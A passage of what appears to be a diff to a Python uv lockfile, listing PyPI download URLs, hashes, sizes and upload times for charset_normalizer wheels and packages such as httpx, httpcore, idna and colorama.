"https://files.pythonhosted.org/packages/1f/86/a151eb2af293a7e7bac3a739b81072585ce36ccfb4493039f49f1d3cae8c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161", size = 143310, upload-time = "2025-10-14T04:40:43.439Z" }, + { url = "https://files.pythonhosted.org/packages/b5/fe/43dae6144a7e07b87478fdfc4dbe9efd5defb0e7ec29f5f58a55aeef7bf7/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4", size = 162022, upload-time = "2025-10-14T04:40:44.547Z" }, + { url = "https://files.pythonhosted.org/packages/80/e6/7aab83774f5d2bca81f42ac58d04caf44f0cc2b65fc6db2b3b2e8a05f3b3/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89", size = 149383, upload-time = "2025-10-14T04:40:46.018Z" }, + { url = "https://files.pythonhosted.org/packages/4f/e8/b289173b4edae05c0dde07f69f8db476a0b511eac556dfe0d6bda3c43384/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569", size = 159098, upload-time = "2025-10-14T04:40:47.081Z" }, + { url = "https://files.pythonhosted.org/packages/d8/df/fe699727754cae3f8478493c7f45f777b17c3ef0600e28abfec8619eb49c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224", size = 152991, upload-time = "2025-10-14T04:40:48.246Z" }, + { url = "https://files.pythonhosted.org/packages/1a/86/584869fe4ddb6ffa3bd9f491b87a01568797fb9bd8933f557dba9771beaf/charset_normalizer-3.4.4-cp311-cp311-win32.whl", hash = "sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a", size = 99456, upload-time = "2025-10-14T04:40:49.376Z" }, + { url = "https://files.pythonhosted.org/packages/65/f6/62fdd5feb60530f50f7e38b4f6a1d5203f4d16ff4f9f0952962c044e919a/charset_normalizer-3.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016", size = 106978, upload-time = "2025-10-14T04:40:50.844Z" }, + { url = "https://files.pythonhosted.org/packages/7a/9d/0710916e6c82948b3be62d9d398cb4fcf4e97b56d6a6aeccd66c4b2f2bd5/charset_normalizer-3.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1", size = 99969, upload-time = "2025-10-14T04:40:52.272Z" }, + { url = "https://files.pythonhosted.org/packages/f3/85/1637cd4af66fa687396e757dec650f28025f2a2f5a5531a3208dc0ec43f2/charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394", size = 208425, upload-time = "2025-10-14T04:40:53.353Z" }, + { url = "https://files.pythonhosted.org/packages/9d/6a/04130023fef2a0d9c62d0bae2649b69f7b7d8d24ea5536feef50551029df/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25", size = 148162, upload-time = "2025-10-14T04:40:54.558Z" }, + { url = "https://files.pythonhosted.org/packages/78/29/62328d79aa60da22c9e0b9a66539feae06ca0f5a4171ac4f7dc285b83688/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef", size = 144558, upload-time = "2025-10-14T04:40:55.677Z" }, + { url = "https://files.pythonhosted.org/packages/86/bb/b32194a4bf15b88403537c2e120b817c61cd4ecffa9b6876e941c3ee38fe/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d", size = 161497, upload-time = "2025-10-14T04:40:57.217Z" }, + { url = "https://files.pythonhosted.org/packages/19/89/a54c82b253d5b9b111dc74aca196ba5ccfcca8242d0fb64146d4d3183ff1/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8", size = 159240, upload-time = "2025-10-14T04:40:58.358Z" }, + { url = "https://files.pythonhosted.org/packages/c0/10/d20b513afe03acc89ec33948320a5544d31f21b05368436d580dec4e234d/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86", size = 153471, upload-time = "2025-10-14T04:40:59.468Z" }, + { url = "https://files.pythonhosted.org/packages/61/fa/fbf177b55bdd727010f9c0a3c49eefa1d10f960e5f09d1d887bf93c2e698/charset_normalizer-3.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a", size = 150864, upload-time = "2025-10-14T04:41:00.623Z" }, + { url = "https://files.pythonhosted.org/packages/05/12/9fbc6a4d39c0198adeebbde20b619790e9236557ca59fc40e0e3cebe6f40/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f", size = 150647, upload-time = "2025-10-14T04:41:01.754Z" }, + { url = "https://files.pythonhosted.org/packages/ad/1f/6a9a593d52e3e8c5d2b167daf8c6b968808efb57ef4c210acb907c365bc4/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc", size = 145110, upload-time = "2025-10-14T04:41:03.231Z" }, + { url = "https://files.pythonhosted.org/packages/30/42/9a52c609e72471b0fc54386dc63c3781a387bb4fe61c20231a4ebcd58bdd/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf", size = 162839, upload-time = "2025-10-14T04:41:04.715Z" }, + { url = "https://files.pythonhosted.org/packages/c4/5b/c0682bbf9f11597073052628ddd38344a3d673fda35a36773f7d19344b23/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15", size = 150667, upload-time = "2025-10-14T04:41:05.827Z" }, + { url = "https://files.pythonhosted.org/packages/e4/24/a41afeab6f990cf2daf6cb8c67419b63b48cf518e4f56022230840c9bfb2/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9", size = 160535, upload-time = "2025-10-14T04:41:06.938Z" }, + { url = "https://files.pythonhosted.org/packages/2a/e5/6a4ce77ed243c4a50a1fecca6aaaab419628c818a49434be428fe24c9957/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0", size = 154816, upload-time = "2025-10-14T04:41:08.101Z" }, + { url = "https://files.pythonhosted.org/packages/a8/ef/89297262b8092b312d29cdb2517cb1237e51db8ecef2e9af5edbe7b683b1/charset_normalizer-3.4.4-cp312-cp312-win32.whl", hash = "sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26", size = 99694, upload-time = "2025-10-14T04:41:09.23Z" }, + { url = "https://files.pythonhosted.org/packages/3d/2d/1e5ed9dd3b3803994c155cd9aacb60c82c331bad84daf75bcb9c91b3295e/charset_normalizer-3.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525", size = 107131, upload-time = "2025-10-14T04:41:10.467Z" }, + { url = "https://files.pythonhosted.org/packages/d0/d9/0ed4c7098a861482a7b6a95603edce4c0d9db2311af23da1fb2b75ec26fc/charset_normalizer-3.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3", size = 100390, upload-time = "2025-10-14T04:41:11.915Z" }, + { url = "https://files.pythonhosted.org/packages/97/45/4b3a1239bbacd321068ea6e7ac28875b03ab8bc0aa0966452db17cd36714/charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794", size = 208091, upload-time = "2025-10-14T04:41:13.346Z" }, + { url = "https://files.pythonhosted.org/packages/7d/62/73a6d7450829655a35bb88a88fca7d736f9882a27eacdca2c6d505b57e2e/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed", size = 147936, upload-time = "2025-10-14T04:41:14.461Z" }, + { url = "https://files.pythonhosted.org/packages/89/c5/adb8c8b3d6625bef6d88b251bbb0d95f8205831b987631ab0c8bb5d937c2/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72", size = 144180, upload-time = "2025-10-14T04:41:15.588Z" }, + { url = "https://files.pythonhosted.org/packages/91/ed/9706e4070682d1cc219050b6048bfd293ccf67b3d4f5a4f39207453d4b99/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328", size = 161346, upload-time = "2025-10-14T04:41:16.738Z" }, + { url = "https://files.pythonhosted.org/packages/d5/0d/031f0d95e4972901a2f6f09ef055751805ff541511dc1252ba3ca1f80cf5/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede", size = 158874, upload-time = "2025-10-14T04:41:17.923Z" }, + { url = "https://files.pythonhosted.org/packages/f5/83/6ab5883f57c9c801ce5e5677242328aa45592be8a00644310a008d04f922/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894", size = 153076, upload-time = "2025-10-14T04:41:19.106Z" }, + { url = "https://files.pythonhosted.org/packages/75/1e/5ff781ddf5260e387d6419959ee89ef13878229732732ee73cdae01800f2/charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1", size = 150601, upload-time = "2025-10-14T04:41:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/d7/57/71be810965493d3510a6ca79b90c19e48696fb1ff964da319334b12677f0/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490", size = 150376, upload-time = "2025-10-14T04:41:21.398Z" }, + { url = "https://files.pythonhosted.org/packages/e5/d5/c3d057a78c181d007014feb7e9f2e65905a6c4ef182c0ddf0de2924edd65/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44", size = 144825, upload-time = "2025-10-14T04:41:22.583Z" }, + { url = "https://files.pythonhosted.org/packages/e6/8c/d0406294828d4976f275ffbe66f00266c4b3136b7506941d87c00cab5272/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133", size = 162583, upload-time = "2025-10-14T04:41:23.754Z" }, + { url = "https://files.pythonhosted.org/packages/d7/24/e2aa1f18c8f15c4c0e932d9287b8609dd30ad56dbe41d926bd846e22fb8d/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3", size = 150366, upload-time = "2025-10-14T04:41:25.27Z" }, + { url = "https://files.pythonhosted.org/packages/e4/5b/1e6160c7739aad1e2df054300cc618b06bf784a7a164b0f238360721ab86/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e", size = 160300, upload-time = "2025-10-14T04:41:26.725Z" }, + { url = "https://files.pythonhosted.org/packages/7a/10/f882167cd207fbdd743e55534d5d9620e095089d176d55cb22d5322f2afd/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc", size = 154465, upload-time = "2025-10-14T04:41:28.322Z" }, + { url = "https://files.pythonhosted.org/packages/89/66/c7a9e1b7429be72123441bfdbaf2bc13faab3f90b933f664db506dea5915/charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac", size = 99404, upload-time = "2025-10-14T04:41:29.95Z" }, + { url = "https://files.pythonhosted.org/packages/c4/26/b9924fa27db384bdcd97ab83b4f0a8058d96ad9626ead570674d5e737d90/charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14", size = 107092, upload-time = "2025-10-14T04:41:31.188Z" }, + { url = "https://files.pythonhosted.org/packages/af/8f/3ed4bfa0c0c72a7ca17f0380cd9e4dd842b09f664e780c13cff1dcf2ef1b/charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2", size = 100408, upload-time = "2025-10-14T04:41:32.624Z" }, + { url = "https://files.pythonhosted.org/packages/2a/35/7051599bd493e62411d6ede36fd5af83a38f37c4767b92884df7301db25d/charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd", size = 207746, upload-time = "2025-10-14T04:41:33.773Z" }, + { url = "https://files.pythonhosted.org/packages/10/9a/97c8d48ef10d6cd4fcead2415523221624bf58bcf68a802721a6bc807c8f/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb", size = 147889, upload-time = "2025-10-14T04:41:34.897Z" }, + { url = "https://files.pythonhosted.org/packages/10/bf/979224a919a1b606c82bd2c5fa49b5c6d5727aa47b4312bb27b1734f53cd/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e", size = 143641, upload-time = "2025-10-14T04:41:36.116Z" }, + { url = "https://files.pythonhosted.org/packages/ba/33/0ad65587441fc730dc7bd90e9716b30b4702dc7b617e6ba4997dc8651495/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14", size = 160779, upload-time = "2025-10-14T04:41:37.229Z" }, + { url = "https://files.pythonhosted.org/packages/67/ed/331d6b249259ee71ddea93f6f2f0a56cfebd46938bde6fcc6f7b9a3d0e09/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191", size = 159035, upload-time = "2025-10-14T04:41:38.368Z" }, + { url = "https://files.pythonhosted.org/packages/67/ff/f6b948ca32e4f2a4576aa129d8bed61f2e0543bf9f5f2b7fc3758ed005c9/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838", size = 152542, upload-time = "2025-10-14T04:41:39.862Z" }, + { url = "https://files.pythonhosted.org/packages/16/85/276033dcbcc369eb176594de22728541a925b2632f9716428c851b149e83/charset_normalizer-3.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6", size = 149524, upload-time = "2025-10-14T04:41:41.319Z" }, + { url = "https://files.pythonhosted.org/packages/9e/f2/6a2a1f722b6aba37050e626530a46a68f74e63683947a8acff92569f979a/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e", size = 150395, upload-time = "2025-10-14T04:41:42.539Z" }, + { url = "https://files.pythonhosted.org/packages/60/bb/2186cb2f2bbaea6338cad15ce23a67f9b0672929744381e28b0592676824/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c", size = 143680, upload-time = "2025-10-14T04:41:43.661Z" }, + { url = "https://files.pythonhosted.org/packages/7d/a5/bf6f13b772fbb2a90360eb620d52ed8f796f3c5caee8398c3b2eb7b1c60d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090", size = 162045, upload-time = "2025-10-14T04:41:44.821Z" }, + { url = "https://files.pythonhosted.org/packages/df/c5/d1be898bf0dc3ef9030c3825e5d3b83f2c528d207d246cbabe245966808d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152", size = 149687, upload-time = "2025-10-14T04:41:46.442Z" }, + { url = "https://files.pythonhosted.org/packages/a5/42/90c1f7b9341eef50c8a1cb3f098ac43b0508413f33affd762855f67a410e/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828", size = 160014, upload-time = "2025-10-14T04:41:47.631Z" }, + { url = "https://files.pythonhosted.org/packages/76/be/4d3ee471e8145d12795ab655ece37baed0929462a86e72372fd25859047c/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec", size = 154044, upload-time = "2025-10-14T04:41:48.81Z" }, + { url = "https://files.pythonhosted.org/packages/b0/6f/8f7af07237c34a1defe7defc565a9bc1807762f672c0fde711a4b22bf9c0/charset_normalizer-3.4.4-cp314-cp314-win32.whl", hash = "sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9", size = 99940, upload-time = "2025-10-14T04:41:49.946Z" }, + { url = "https://files.pythonhosted.org/packages/4b/51/8ade005e5ca5b0d80fb4aff72a3775b325bdc3d27408c8113811a7cbe640/charset_normalizer-3.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c", size = 107104, upload-time = "2025-10-14T04:41:51.051Z" }, + { url = "https://files.pythonhosted.org/packages/da/5f/6b8f83a55bb8278772c5ae54a577f3099025f9ade59d0136ac24a0df4bde/charset_normalizer-3.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2", size = 100743, upload-time = "2025-10-14T04:41:52.122Z" }, + { url = "https://files.pythonhosted.org/packages/0a/4c/925909008ed5a988ccbb72dcc897407e5d6d3bd72410d69e051fc0c14647/charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f", size = 53402, upload-time = "2025-10-14T04:42:31.76Z" }, +] + +[[package]] +name = "codespell" +version = "2.4.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2d/9d/1d0903dff693160f893ca6abcabad545088e7a2ee0a6deae7c24e958be69/codespell-2.4.2.tar.gz", hash = "sha256:3c33be9ae34543807f088aeb4832dfad8cb2dae38da61cac0a7045dd376cfdf3", size = 352058, upload-time = "2026-03-05T18:10:42.936Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/42/a1/52fa05533e95fe45bcc09bcf8a503874b1c08f221a4e35608017e0938f55/codespell-2.4.2-py3-none-any.whl", hash = "sha256:97e0c1060cf46bd1d5db89a936c98db8c2b804e1fdd4b5c645e82a1ec6b1f886", size = 353715, upload-time = "2026-03-05T18:10:41.398Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "dataclasses-json" +version = "0.6.7" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "marshmallow" }, + { name = "typing-inspect" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/64/a4/f71d9cf3a5ac257c993b5ca3f93df5f7fb395c725e7f1e6479d2514173c3/dataclasses_json-0.6.7.tar.gz", hash = "sha256:b6b3e528266ea45b9535223bc53ca645f5208833c29229e847b3f26a1cc55fc0", size = 32227, upload-time = "2024-06-09T16:20:19.103Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c3/be/d0d44e092656fe7a06b55e6103cbce807cdbdee17884a5367c68c9860853/dataclasses_json-0.6.7-py3-none-any.whl", hash = "sha256:0dbf33f26c8d5305befd61b39d2b3414e8a407bedc2834dea9b8d642666fb40a", size = 28686, upload-time = "2024-06-09T16:20:16.715Z" }, +] + +[[package]] +name = "exceptiongroup" +version = "1.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, +] + +[[package]] +name = "httpx" +version = "0.28.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "certifi" }, + { name = "httpcore" }, + { name = "idna" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" }, +] + +[[package]] +name = "idna" +version = "3.15" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/77/7b3966d0b9d1d31a36ddf1746926a11dface89a83409bf1483f0237aa758/idna-3.15.tar.gz", hash = "sha256:ca962446ea538f7092a95e057da437618e886f4d349216d2b1e294abfdb65fdc", size = 199245, upload-time = "2026-05-12T22:45:57.011Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d2/23/408243171aa9aaba178d3e2559159c24c1171a641aa83b67bdd3394ead8e/idna-3.15-py3-none-any.whl", hash = "sha256:048adeaf8c2d788c40fee287673ccaa74c24ffd8dcf09ffa555a2fbb59f10ac8", size = 72340, upload-time = "2026-05-12T22:45:55.733Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + +[[package]] +name = "jsonpatch" +version = "1.33" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonpointer" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/42/78/18813351fe5d63acad16aec57f94ec2b70a09e53ca98145589e185423873/jsonpatch-1.33.tar.gz", hash = "sha256:9fcd4009c41e6d12348b4a0ff2563ba56a2923a7dfee731d004e212e1ee5030c", size = 21699, upload-time = "2023-06-26T12:07:29.144Z" } +wheels = [ + { url = 